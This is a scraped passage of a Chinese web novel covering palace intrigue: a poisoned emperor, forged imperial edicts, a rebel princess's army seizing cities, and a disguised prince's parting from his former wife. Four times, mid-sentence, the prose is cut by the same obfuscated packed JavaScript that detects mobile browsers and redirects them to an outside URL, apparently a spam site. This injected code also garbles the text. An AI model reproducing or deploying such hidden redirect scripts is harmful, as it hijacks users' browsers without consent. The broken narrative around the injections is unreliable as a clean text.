宁问归也不知道该怎么回答,只能把江御暮教他的谎话稍作修改:“她气量没那么小,之所以不愿见你,只是……因为她就快与旁人成婚了。” 穆归衡闻言,眼中满是惊诧和狐疑,似乎并不愿接受这个答案。 宁问归被他看得有些心虚,忙又补充道:“看我作甚?她又不是要跟我成婚。” “那还能是跟谁?”穆归衡追问道,希望能在对方的解释中找到破绽。 宁问归简直一个头两个大——压根不存在的人,让他从哪开始编起啊? 可若是再拖下去,迟迟不答,肯定会被对方看出他是在撒谎。 无法,宁问归只得含糊答道:“是故国的旧人,她的青梅竹马。” 反正穆归衡年少时又不认识江御暮,更不知道她有没有青梅竹马,撒这种谎应该不容易被戳穿吧? “旧人?”穆归衡渐渐蹙起双眉,一个看似荒诞,细究却很合理的猜测蓦然跃入他的脑海,“难道是江连镜?” 宁问归原本只是想洗脱自己身上的“嫌疑”,没想祸水东引,害得江连镜平白遭穆归衡敌视,急忙反驳道:“怎么可能?他们是姐弟啊!” 他不否认还好,如此一否认,反而被穆归衡误认为是“此地无银三百两”,引得他更加笃信这个猜测了。 姐弟? 放在从前,拿这种鬼话骗骗他也就算了。可是如今,他已然知晓江御暮和江连镜并非亲姐弟了。 表亲通婚本就是常事,更何况他二人的关系比寻常表亲更远一层。加之江御暮身份已明,长公主亦已发兵起事,想必过不了多久,她的传奇身世便能传遍天下了。 到那个时候,她与江连镜成婚不就顺理成章,再无阻碍了吗? “怪不得……”穆归衡低语喃喃。 怪不得他大婚那天晚上,江连镜主动来找他喝了许久的闷酒。 如今想来,江连镜彼时的言行根本不像内弟对姐夫的态度,他的苦闷也远超与姐姐别离的不舍,更像眼睁睁看着心爱之人嫁与他人,自己却受情势所迫,无法干预的痛苦。 宁问归眼见自己越描越黑,只想尽快结束这个话题,转而直言道:“我们明日就要离开涵州了,小殿下的意思是让你在此多留几日,待到时机成熟,谭夫人自会放你离开。” 穆归衡这才回过神来,错愕道:“她要赶我走?” 宁问归没想到他会是这种反应,闻言一愣:“不然呢?杀了你?还是一直藏着你、养着你?” 穆归衡垂下目光,双拳紧紧攥住衣摆,逞强道:“她就不怕放虎归山,遗祸无穷?” 宁问归在心里暗自“啧啧”两声:瞧他为这点小情小爱痛苦纠结的样子,哪像能给江御暮带来遗祸的恶虎呀?即便是虎,沦落平川亦无甚可惧。 不过,这些话当然不能摆在台面上讲。 宁问归后退几步准备离开,同时盯着穆归衡的双眼道:“希望你不会辜负她的信任。” 语毕转身迈向门边,刚伸出手去推门,便听穆归衡起身追出几步道:“我要见她。” 宁问归不耐烦地叹了声气,回头道:“我已经说过很多遍了,她不想见——” “我要听她亲口说让我离开。”穆归衡打断他道,“她若不来,我便不走。” 宁问归定在原地片刻,终究还是做出了妥协。 “也罢,我只帮你这一次。” 最后一次,成败由天。 “所以……你到底去不去啊?”宁问归向江御暮转述完方才之事后,不由好奇。 江御暮正在擦拭一把长剑,久久没有作声。 宁问归耐心等她擦完剑,正欲再问一次,江御暮却已经用行动回答了他方才的问题。 “你去见他,怎么还带着兵器啊?”宁问归有些担心,“不会打起来吧?他死了倒是无妨,万一你受点什么伤,我可怎么跟殿下交代呀?” 江御暮无奈地瞥他一眼:“你别跟着。” 宁问归只得收声,站住不动了。 江御暮行至穆归衡的房门前,遣走守门的卫兵,继而敲了敲门才进去。 穆归衡见到她出现在自己面前,连忙起身相迎,然而刚走出几步就停住了。 江御暮的表情实在冷漠,让他不知自己如何才能靠近她。 “认得这把剑吗?”江御暮右手执剑,横在身前,慢慢向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984349|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他走去。 相隔不到三尺,穆归衡便认出来了:“这是石涅的剑?” 江御暮没有回答,仍旧冷冷看着他。 穆归衡立时心焦起来,上前两步急切问道:“你们把他怎么样了?” 江御暮的语气平静无波:“你若乖乖听话,愿意离开,石涅便能活着和你一起走。你若冥顽不灵,非要留在这碍眼,石涅便活不成了。” “碍眼?” 穆归衡忽而笑出了声,一手抓住面前这把剑的剑身,将剑尖直指自己心口,又逼近江御暮半步。 “小殿下若嫌我碍眼,何不直接杀了我,一了百了,大家都落个清净!” 江御暮不防他忽有此举,下意识往后退去,待要收剑,穆归衡却将剑身越握越紧,以至于手掌都被划破,鲜血顺着指缝钻出,一滴一滴落在地板上。 他仿佛觉察不到疼痛,另一只手很快也握上剑身,用力把剑尖拉近自己,再次抵住心口。 “小殿下不是又要成亲了么?”穆归衡唇角笑意不减,眸中却渐渐凝出泪来,“杀了我,替你的新夫君出一口气,何乐而不为呢?” 江御暮避开他的眼神,语气不甚自然道:“他与你并无瓜葛,有什么气可出?” 穆归衡笑意更盛,眼泪却抑不住落了下来:“好一个并无瓜葛。” 他擦去脸上的泪痕,笑容亦随之散去,正色道:“那我们之间的瓜葛呢?” 江御暮深吸一口气,抬眸对上他写满不甘的双眼,坦然道:“你若能忘了我,自然最好。倘若忘不掉,恨我一辈子也无妨。” 穆归衡闻言,面上竟显出了几分遭人误解的委屈:“你觉得我会恨你?” 江御暮不愿多想此话背后的含义,宁愿装糊涂:“恨、怨怼、气恼,我不想咬文嚼字,随你怎样都行。” “随我怎样都行。”穆归衡扯了扯嘴角,“唯独不能容我留在你身边?” 江御暮反问道:“你不是早有远遁江湖之思吗?我放你离开,难道不算成全了你?” “谁要你这般成全?我——” 话说一半,忽听门外宁问归高声提醒道:“长公主殿下驾到!” 话音落时,屋门已被打开。 长公主看了看江御暮手中的长剑,又瞟一眼地上的血迹,对此情此景未置一词。 “御暮,你先出去。”她的声音温柔如故,“我有几句话要跟你这个小护卫聊一聊。” 穆归衡初见岳母,心中微微慌神,手上不知不觉便松了力气。 江御暮趁机收剑入鞘,快跑两步站定在长公主身前,低声道:“母亲,他——” “宁问归。”长公主不给她留下求情的时间,“带御暮回去休息。” 宁问归赶忙上前拉过江御暮,硬生生把她带出屋外,顺手关上了房门。 江御暮嗔怒地瞪他一眼,宁问归在她发难之前便为自己辩解起来:“我拦了,没拦住啊……” 江御暮又张了张口,还未出声,宁问归便似猜到了她要说什么,提前答道:“放心吧,殿下不会杀他的。” 就算杀,也不可能在江御暮眼皮子底下动手啊。 95. 前岳母温言敲响鼓,四王爷侍疾…… 穆归衡没有想到,长公主会亲自为他包扎手上的伤口。 她动作轻柔,神态慈和,不禁让他想起了儿时与母亲相处的模糊记忆。 但穆归衡很快又清醒过来,猜想这不过是她的先礼后兵之计。等他放松了警惕,长公主定然还是要赶他走的。 穆归衡有许多话想说,却不知该从何处开口,甚至不知道自己该如何称呼她。 按理说,他本该唤她一声“岳母”。但在如今的处境下,穆归衡除非失心成疯,否则不可能如此口不择言。 斟酌半晌,他只能选择唯一不会出错的称呼:“殿下。” 长公主恰在此时帮穆归衡包扎完了伤口,抬眸扫他一眼,言简意赅道:“不论你说什么,我都不会容你留在御暮身边。” 穆归衡忙问:“为何?难道您担心我会怨她、会伤害她?” 长公主摇摇头,起身道:“如今,我手下的所有兵将都已知晓你的死讯,甚至可以说,他们因此士气大增,信心百倍。” 说着,长公主伸手揭下他的面具,扔在桌子上。 “倘若他们一朝得知你并未丧命,而是被御暮亲自保护了起来。你可知道,这会给她造成多大的麻烦?” 穆归衡看着桌上的面具,语气坚定道:“只要我在人前永远蒙着面,扮演好她的护卫,就不会有人知晓我的真实身份。” 长公主不以为然,笑问:“难不成,你还能蒙一辈子的面么?” “有何不可?”穆归衡对上她的目光,誓不退缩。 长公主只当他是年轻气盛,易在冲动之下胡乱许诺,于是深入问道:“你当真甘心一辈子只做她的护卫,从此再不越雷池一步吗?” 穆归衡双唇微张,半晌没说出话来,渐渐垂下了目光。 长公主继续劝诫道:“你要明白,以御暮的身份,是绝对不可能将一个护卫招为夫婿的。更何况你如今顶着时异的姓名,而他的底子并不干净,许多人都知道他与穆归礼有染。为名声考虑,御暮万不能与这样的人搅在一起。” 穆归衡沉默良久,微微点头道:“是,我明白。” 长公主走到近前,一手按上他的肩膀,温言道:“响鼓不用重锤。你既已想通,便早些放手吧。如此,对她对你都有益无害。” 穆归衡心中已是极乱,眼看长公主将要转身离去,他也来不及多想,起身追出两步,脱口便问:“倘若我用其他身份留在她身边呢?” 长公主脚步一滞,侧过半张脸,似信非信道:“此言何意?” 穆归衡又上前几步,解释道:“倘若我不是穆归衡,也不是时异,转而换作另一个干干净净的身份回来寻她。殿下,您可否容我留在她身边?” 长公主久久凝视着他的双眼,从中寻不到任何一丝虚伪矫饰的痕迹。 呵,倒是个情种。 “那就要看看,你的新身份能带给她什么见面礼了。” 长公主饶有兴致,暂且搁置了暗中斩草除根的念头,愿意给他一次机会。 “我们母女身边,可从来不养闲人。” …… 夜幕降临。 短短一个时辰之内,穆归礼收到了两条好消息。 先是随时异去往涵州的暗兵来报:“太子旧疾复发,已然病入膏肓,随时都有性命之忧。加之太子讳疾忌医,太子妃劝阻无果,二人还大吵了一架。” 闻得此言,穆归礼大喜过望,不但给那名暗兵赏了许多银钱,还借机拉着费红英喝了顿庆功酒。 “鸿影……”也不知是真醉还是装醉,穆归礼试探着牵住了费红英的手,“前两日你算出太子已死,本王还有点不敢置信呢。如今既有暗兵传语印证,本王着实服了你的神通!” 费红英笑而不语,心里再度盘算起来:迟早有一日,我要亲自砍了你这登徒子的手! “恭喜殿下,夙愿得偿。”费红英举杯敬酒,借此逃离他的暧昧试探,故意问起煞风景的问题来,“对了,安王妃近日应该没有再来搅扰殿下了吧?” 提到纪青元,穆归礼表情一僵,讪讪收回手,低垂的目光显出些许后怕:“白日里她倒不曾出现,只是偶尔会给本王托梦。” “托梦?”费红英有些讶异,她可没有干预旁人梦境的“神通”,也不知这是怎么回事,忙问道,“王妃在梦里都跟您说什么了?” 穆归礼似乎不太愿意深聊这个话题,含糊搪塞道:“总归是些不中听的话,她活着的时候就没少说,本王早就听够了。” 费红英心下了然——穆归礼这是日有所思,夜有所梦。与旁人无关,单纯是因为他自己做了缺德事,心虚得慌。 谈及阴司之事,穆归礼立时没了暧昧的情致,周遭的气氛一时冷了下来。 又喝几杯闷酒,穆归礼忽而问起:“前些日子,你不是说要炼丹治疗眼疾么?进度如何?” 费红英煞有介事道:“炼丹步骤繁杂,非一朝一夕可成,须得经年累月方有成效。” 穆归礼偏头看了看她,突然伸手抚上她蒙眼的发带,低声道:“其实……就算你眼疾未愈,也可以先让本王看看你的真容啊。” 费红英往后躲了躲:“微臣相貌丑陋,怕是入不了殿下的眼。” 穆归礼又捏住她的下巴,左右转着瞧了瞧,含笑道:“国师过谦了。本王怎么看都觉得,你一定是个美人胚子啊。” 费红英抿了抿唇,就在她思索要不要再次搬出纪青元来吓唬他时,门外忽而传来老管家的声音。 “殿下!殿下!”那声音由远及近,伴着急匆匆的跑动声,闻之使人心焦。 穆归礼前去打开房门,不悦道:“出什么事了,把你急成这般模样?” 老管家气喘吁吁:“殿下,宫、宫中急报……” 只听这半句,穆归礼便双眼一亮,仿佛刹那间酒意全消。 算算日子,如今的确已经到时候了。 “快说,怎么了!”穆归礼面上迅速浮出喜色,满含期待看着老管家憋得通红的脸。 老管家好容易喘匀了气,扑通一声就跪在了他的面前,带着哭腔却挤不出眼泪,只能干嚎道:“陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996708|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才用过晚膳,旋即咳血不止,昏将过去了!殿下,您快去瞧瞧吧!其他几位王爷得到消息以后,肯定也抢着去侍疾呢!” “好,好!本王这便动身!”穆归礼喜上眉梢,顾不上换身衣裳便往外走。 刚走出几步,他又返回屋内,对费红英叮嘱道:“父皇病倒,定会有人传你入宫,你现在赶快回府,万万别让旁人知晓你与本王过从甚密!” 二人分头而行,不多时便在皇帝的寝殿里见了面。 费红英晚来一步,进殿时,怀王、定王、安王已然到齐,就连不满五岁的六皇子也被母妃带来表孝心了。 皇帝尚未苏醒,太医们又急又怕,生恐行差踏错一步,便丢了脑袋。 在几位皇子的连连催问下,太医院的陈院首无可推诿,只得战战兢兢道:“陛下虽然年事已高,却一直身体强健,并无痼疾。今日骤然咳血,依微臣来看,似乎……与太子殿下当年发病的情形颇为相似。” 众人闻言,心思各有不同。 穆归礼自然是松了口气,既然太医并未诊出皇帝中毒,他就不用费心思去洗脱自己的嫌疑了。 怀王咂了咂嘴,心道:既然和太子当年差不多,想必父皇也不会太早驾崩,少说还有几年可活呢。不过……父皇若是病倒了,谁来处理政事呢?太子吗?哼,一对病秧子,还不知谁要走在谁前头呢! 定王今夜又喝了个酩酊大醉,恍惚间只听说父皇病了,也没听清太医具体是怎么分析的,满心只想着:父皇若是病逝了,本王岂非三年不能宴饮?啧,索性趁他还活着,多喝点补一补吧。 六皇子年龄尚小,刚睡着没多久又被带了出来,此刻仍然睡眼惺忪,缩在母妃怀里打着哈欠。 费红英一进殿,众太医都如同见了救星,前呼后拥把她带到皇帝榻前,请她帮忙诊治。 与此同时,陈院首低垂着脑袋,对周遭众人一眼也不敢多看。 他早就诊出皇帝中毒了,方才之所以不说实话,原因只有一条—— 皇帝体内的剧毒颇为古怪,绝非偶然吃错食物所致,定是被人暗害了。不论此人是谁,陈院首不敢猜,也不敢得罪,所以宁可佯装自己医术不精,免得惹来是非。就算皇帝毒发身亡,上面也有国师顶着,怪不到自己头上。 其实皇帝体内的毒,和上次时异所中的毒同为一种,费红英早已有了丰富的经验,知道该如何对症下药。 当然,她没打算救回皇帝的性命,但可以让他醒过来与众人说说话。 一剂药服下去,十数道目光空等许久,皇帝才终于缓缓睁开双眼。 约莫是预感到自己时日无多的缘故,皇帝顾不上嘉奖国师,亦没心思打发太医,开口便道:“快——快传旨——让太子回京!” 角落里,穆归礼霎时捏紧双拳。 都这个时候了,老家伙心里居然还记挂着那个病秧子! 目光越过人群,穆归礼远远与费红英对视一眼,唇角勾起冷笑。 父皇啊父皇,你还不知道吧,你心心念念的太子早就死在涵州了。 96. 老皇帝驾崩空遗恨,长公主闷声…… 皇帝病倒不久,景州刺史的奏折便送到了京城。消息太旧,说的是太子借兵剿匪之事。 皇帝整日卧床,几乎没精力处理政事,全指望着太子早些回来,能为他分担一二。如今骤闻太子自作主张,入山剿匪,当即气得又吐出几口鲜血,愈发病重了。 在费红英的精心调理下,皇帝的睡眠时间一日长过一日,醒来后倒是不怎么咳血了,只是双目越来越模糊,看不清奏折上的文字。 尽管如此,皇帝还是不放心权柄下移,不肯让其他皇子或大臣代他处理政务。 “等太子回京再议!”他总是这样说。 可他等了又等,却迟迟不见穆归衡归来。与此同时,一份报丧的奏折已然送到了京中。 上书之人是涵州刺史周望安,声称太子殿下英勇神武,带领两州兵士深入山林,成功将数百山匪尽数剿灭。奈何苍天无眼,太子殿下身负重伤,最终救治无果而亡。 “陛下已经好几日不看折子了,旁的事耽搁几日倒无妨,可是这份……” 几个官员拿不准主意,便去向费红英求助。这些日子,只有她能时时陪在皇帝身边。 费红英揽下差事,即刻入宫求见皇帝,同时唤来所有皇子,让皇帝身边的老内监当着众人的面,将这份奏折一字一句读给他听。 皇帝的身体已然经不得一场大悲了,躺在床上急促地呼吸着,想说些什么,却一点声音也发不出来。 “陛下,您想说什么?”费红英上前几步,俯身侧耳,靠近皇帝佯装细听。 皇帝只发出断断续续的气声,不成字句。加之众人都跪得略远,就更听不清了。 费红英却假模假式地“听”了许久,继而演出一副听懂了的模样,起身面向众人,正色高声道:“陛下口谕——请怀王殿下、安王殿下接旨。” 话音一落,穆归正和穆归礼连忙俯身下拜,齐声道:“儿臣接旨。” 皇帝双目圆瞪,嘴巴大张着,想揭穿费红英这是在假传圣旨,嗓子却怎么也挤不出声音;想伸出手,示意众人情况有诈,身体却怎么也动弹不得。 费红英一本正经,继续说道:“太子殿下的丧仪交由怀王殿下来办,礼部全力配合。” 穆归正有些不明所以:怪哉,本王从来没做过这些事,父皇怎么会如此安排呢? 很快,他又给自己找到了合理的解释:喔,大皇兄死后,本王便是长子了。如今太子丢了小命,父皇也许是打算立本王为新的太子,让本王先历练历练吧? 费红英又将目光转向穆归礼:“陛下病重这段时日,朝中堆案盈几,无人分忧。自今日起,便交由安王殿下代为处理,务必做到案无留牍。” 此话一出,满座皆惊。 皇帝若如此安排,岂不是相当于公开表明他有意将穆归礼立为下一任太子吗? 想到这一层,怀王穆归正几乎要把后槽牙都咬碎了。美梦破灭得太早,仿佛挨了一记耳光,恨得他牙痒痒。 定王今日并未喝醉,只是微醺,目光在一兄一弟之间扫来扫去,不禁暗自庆幸:还好本王多智,与其他皇子从无龃龉。不论今后是谁登基,都能保住本王的富贵。 六皇子年级尚小,察觉不到殿内的暗流涌动,只感觉母妃将自己搂得越来越紧了。抬头看去,母亲的眼神中全是他读不懂的情绪。 倘若他再长几岁,便能看出她眼底的恐惧。 身为皇帝的贵妃,她对这几位皇子也算多有了解。 原太子虽名声不佳,却从未与手足兄弟有过冲突,他若能顺利登基,贵妃与六皇子应该能保住一生平安。 怀王和安王就不一样了。前者曾经亲手弑兄,后者亦无容人之量。今后不论是谁上位,贵妃都得活得小心翼翼,至于六皇子……怕也只能如履薄冰吧。 今夜的两道“口谕”传遍朝野后,安王府的门槛都快被前来道贺的人踏平了,相比之下,连皇帝那边都显得冷清了不少,只有费红英日日前去请安。 “陛下怕是大限将至了。”许多人私下都这样讲。 这一日,皇帝从睡梦中醒来,听到门外似有人声,叽叽喳喳不知在说些什么,声音虽然不大,却吵得他不得安生。 皇帝烦躁地睁开双眼,朝那个方向望去。 殿门旋即打开,洒落满地日光,两个人影随之映入他的眼帘。 皇帝双目混沌,直到他们走近床榻,他才看清来者是费红英和穆归礼。 “啊——啊——”皇帝的声音极度微弱。 他想说:原来你们早已结为一党,瞒着朕谋夺皇位。 他想问:朕的病是否与你们有关?太子的病是否与你们有关? 他想骂:忘恩负义的东西!朕从前是如何对待你们的!你们怎能如此算计朕? 可是他什么也说不出来,气得咳嗽不止,胸骨作痛。 “陛下,您该安息了。”费红英道。 皇帝瞪着双眼,尽力望向穆归礼的面庞,想看看这个孩子的眸中是否有几分不忍,抑或愧疚。 可他终究没有看到。 直到皇帝咽气,穆归礼才扑通一声跪在了他的床边,握着他枯瘦的手失声痛哭起来。 费红英退后两步,漠然望着这对父子。 都是报应,她想。 穆明甚至算是幸运了。来日穆归礼死的时候,还不知有没有人会为他这样哭一鼻子呢。 …… 宫中遭逢巨变的日子里,长公主一行人也在闷声干大事。 离开涵州以后,长公主派出三百兵士,让他们换上景州城防兵的甲胄,随梁雄一起入城。 梁雄知道,这是长公主对他的考验。倘若他并非真心归降,这些兵士会在第一时间除掉他。 “末将定不负殿下之托。” 他说得出,便做得到。 身为景州参军,梁雄带兵入城自然无人阻拦。 顺利入城之后,梁雄第一时间带人围住了官署,制住所有官员,还亲自挥刀架上刺史的脖颈。 刺史抖似筛糠,连声音都是虚的:“梁、梁参军,你这、这是干什么?” 梁雄哈哈一笑:“刺史大人,兄弟我给您带来了一条好出路!” 说着,他命兵士们取来一面战旗,交到刺史手中。 “劳您大驾,把这面旗立在官署的大门外,我保您性命无忧。至于您的乌纱帽能不能继续戴下去,兄弟我说了可不算,得看您自己的表现。” 不多时,这面旗帜便被安置在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009458|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它该去的地方。 一座城丢得无声无息,兵不血刃,没有传出半点风声。 长公主换掉了景州的大部分官员,刺史虽仍居其位,却相当于已被架空。他也不敢有何异动,那么多双陌生的眼睛盯着呢,他可不想丢了性命。 是夜,兵士们围城扎营,依例清点粮车。 梁雄不太敢直接去跟长公主套近乎,便来找小辈们闲聊。 “小殿下,末将终于想明白了!原来涵州谎报灾情,就是为了屯粮积草,以备战时所用啊!所谓‘兵马未动,粮草先行。’竟还有这种解法。” 江御暮笑了笑,邀他一起坐下。 梁雄看着篝火旁围城一圈的四人,一时不知该往哪坐。 他毕竟是来跟新主套近乎的,按理说,应该找机会往江御暮身边坐,好好向她展示一下自己领兵作战的经验与心得。 但江御暮左边坐着江唤玥,他若挤在两位姑娘之间,总归不太妥当,显得他别有用心似的。 江御暮右边坐的是江连镜,梁雄还没迈出步子呢,江连镜就抬头给了他一个警告的眼神,继而又靠江御暮坐近几分,显然是不想给梁雄让出位置。 不过江连镜这么一动,倒是拉大了他和宁问归之间的空隙,梁雄便顺势坐在了他们中间。 “小殿下,咱们何时动身去攻下一座城呀?”梁雄刚一坐定,便兴致勃勃地询问起来。 “不急,再等几日。”江御暮看着架在篝火上的烤麻雀,仿佛它便是远在京城的天子,“等人死了再说。” 梁雄一头雾水:“什么人?” 江御暮冲他笑笑:“仇人。” 梁雄仍是不解,看了看另外三人,他们似乎都知道江御暮在说谁。 要问问吗?梁雄有些犹豫。 万一他贸然发问,让小殿下觉得他蠢笨,那就得不偿失了。 仇人……仇人…… 梁雄细细咂摸着这两个字,霎时间,脑中闪过一个惊人的念头。 “难道——是陛下?”话刚出口,他又急忙换了称呼,“啊不,末将是说——难道是狗皇帝?” 江御暮又瞟他一眼,笑而不语,似是表达了默认的态度。 梁雄没敢再问。 江御暮怎能确定皇帝过几日就会驾崩? 难道皇帝身边有她的人? 梁雄心知,问到这一层,自己若再打听下去就越界了。于是他又瞎聊几句,便借故离开了。 不多时,长公主派人来叫走了宁问归,说是有事吩咐。 江御暮看着他逐渐远去的背影,将手中的一根草秆慢慢揪成了碎片。 江连镜看出她有心事,旁敲侧击地问了几句,却没问出线索,只得作罢,转而问起其他事来。 “对了,这几日怎么不见那个时异了?你不是说留着他有用么,到底是何用处?” 江唤玥也好奇道:“是啊是啊,我和哥哥猜了许久也没猜出你的心思。长姐,你就跟我们说说吧,我们保证绝不外传!” 江御暮垂着目光,用仅剩的半截草秆在地上胡乱划动着,懒懒道:“他走了。” “走了?”江氏兄妹异口同声。 “嗯。”江御暮扔掉草秆,“不会回来了。” 97. 刘小吏奉旨报丧信,珏州城初燃烽火台 时隔多年,江御暮又开始怀念有手机的生活了。那个时候,两个人哪怕相隔千里,也能随时保持联络。 不像如今这般,费红英远在京城,想传点什么消息都不方便。 “也不知她那边进展如何了。”这是二人共同的心声。 夺取景州后,长公主将几路兵士打散重组,这几日都在校场练兵。四座城门全部严密封锁,只可进,不可出,以防走漏消息。 附近的村民觉得奇怪,偶尔有人上前打听情况。 守城的卫兵众口一词,都道:“这几日城里闹贼,偷走了刺史大人的传家宝。衙役们正在全城搜查,等搜出那贼人,城门自然可以恢复正常通行。” 村民们并未怀疑这个理由的真伪,纷纷将注意力转移到了另一个问题上——刺史大人的传家宝是什么?他从前瞒得可够严实的! 十日后的这天夜里,景州终于等来了报丧的使臣。 皇帝驾崩后,费红英再次假传圣谕,称皇帝在弥留之际择定了穆归礼来继承皇位。 穆归礼虽无太子的名分,毕竟也代皇帝处理了好几日的政务,众大臣对这个结果早有预料,就算其中有人心生疑窦,也不敢贸然表现出来。 按规矩,皇帝驾崩后,天下臣民都要为他守丧。穆归礼随即派出一队报丧使臣,分头赶赴各州通报此事。 其中,小吏刘良便负责从京城至涵州一线的五座州府。 行至景州,刘良刚入城时便察觉到,此地的城防兵比前三座州府多出不少。 起初他并未多想,还以为这是景州军费充足的缘故。行至官署附近,刘良忽然被一面旗帜吸引了目光。 这是什么旗?他暗自想道。其他几州的官署门口为何都没有类似的旗帜,难道是此地独有的风俗吗? 今夜无风,那旗帜松松垂着,花纹都挤在褶皱里,使人难以辨认。 刘良路过旗杆时,抻着脖子往上瞅了瞅,刚收回目光,便发现守门的卫兵正在用防备的眼神打量他。 刘良连忙取出路引,言明来意,请他们代为通报。 两名卫兵听闻皇帝驾崩的消息,并未露出刘良预想中的惊诧眼神,更无表演性的悲伤情绪,而是对视一眼,朝刘良微微一笑,继而一人替他牵马,另一人带他进了官署。 刺史听完刘良带来的消息,显得有些忐忑,眼睛时不时往身侧的屏风后瞟去,不知在看些什么。 刘良便是再迟钝,此刻也该反应过来状况不对了。 这景州可真是古怪,他想,我得尽快抽身。 “刺史大人。”刘良旋即起身行礼,“下官还要尽快去涵州通报此事,今夜就不在此留宿了,您不必费心安排。” “啊、对,涵州,你还得去涵州呢。”刺史有些前言不搭后语,双手搓成一团,连还礼都忘了。 刘良说了声告退,转身便往外走。 “你不必去涵州了,就在这里住下吧。”一个年轻女子的声音忽然传来。 刘良肩膀一缩,转身去寻找那个声音的来源,目光很快定格在刺史身侧的屏风上。 这个声音好熟悉,在哪里听过呢? 刘良飞速思索着。 似乎……有点像前户部尚书家江大小姐的声音。 当初江家比武招亲,刘良常去观战,对这个声音印象深刻。 果不其然,江御暮下一刻便从屏风后走了出来,站定在刘良身前。 刘良目瞪口呆,行礼的动作甚至有些迟钝:“参、参见……” 该怎么称呼她呢? 太子妃?不妥不妥,新帝都快登基了,怎能还这样称呼先太子的遗孀呢? 刘良语塞片刻,闭上了嘴,转而生出了另一个疑问—— 她怎么会在这里? 江御暮没有回应他的话,侧过头对刺史吩咐道:“你来教教他,该唤我什么。” 语毕拔腿便走,不多废话半句,直接策马往校场赶去。 次日一早,得月军再度起兵,近两千兵士浩浩荡荡往珏州赶去。 …… 是夜,珏州东城门瞭望塔上的城防兵揉了揉眼睛,望着城外由远及近的点点火光,对一起值夜的同僚说道:“队长你瞧,那边是什么情况?” 二人极目远望,不多时,那串火把越来越近,他们看得也愈发清楚了。 “是去涵州赈灾的那些人吧?算算时日,他们也该回京了。”城防兵队长如是推测道。 “喔,也是。”小兵表示赞同。 二人暂且放松了警惕,有一搭没一搭地聊着闲话,话题总脱不开皇帝和太子的死讯。 可是还没聊几句,城防兵队长就变了脸色,低声道:“不对啊……” “怎么了?” 队长逐渐拧起眉头,伸出两根手指比划着远方那条队伍的长度,疑惑道:“赈灾的队伍有那么多人吗?我怎么记得前些日子他们路过珏州时,人数只有一百出头啊?” 小兵向前探了探头:“诶,还真是,他们怎么有那么多人啊?这远远看着,竟比来时多出十倍!” “瞧这架势,倒像是来攻城的。”队长面色微变,即刻下令,“你去吹号,叫今晚值夜的弟兄们都来东城门预备着,以防万一。再去跟参军大人知会一声,看看是否需要把剩余二百多弟兄也叫来。” 小兵领命,继而又问:“要不要把烽火台点上?” 队长摇摇头:“咱们还不确定他们是什么人,切莫草率行事。一旦谎报军情,后续的烂摊子就难收拾了。” 往好处想,也许是他多虑了,这些人有可能只是给太子送葬的队伍。陛下——哦,不,是先帝。既然先帝那样宠爱太子,一定会把他的身后事办得风风光光。 但是……给太子送葬真的能用到这么多人吗? 远方的队伍愈发靠近珏州,不多时,方才那名小兵便回来了。 “如何?参军大人怎么说?”他急切问道。 小兵略带愁容,他知道,自己带来的消息会让队长失望。 “参军说……应该是您想多了。” 其实这句话已经被小兵美化过了,参军的原话是:“你们队长瞎放什么狗屁?如今又非战时,怎么可能凭空冒出来一支攻城队伍!去去去,回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019810|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值夜去!别打扰本将睡觉!” 小兵还曾据理力争:“参军容禀,那队伍里的人马确实多得不太正常。卑职听说太子殿下是在涵州剿匪时意外身故的,他们会不会就是那些山匪啊?” 此话一出,参军便打消了几分困意,狐疑道:“本将怎么听说,那些山匪已经被太子殿下剿干净了啊?就算有漏网之鱼,也不可能达到千人之数吧?” 小兵张了张口,鼓起勇气道:“那、那万一不是山匪,是外敌呢?” 参军被他这种猜想逗笑了:“亏你说得出来!珏州距边境甚远,中间还隔着景州和涵州呢!倘若有外敌攻入,他们早就点烽火台了,哪还轮得着咱们在这胡猜乱想?” 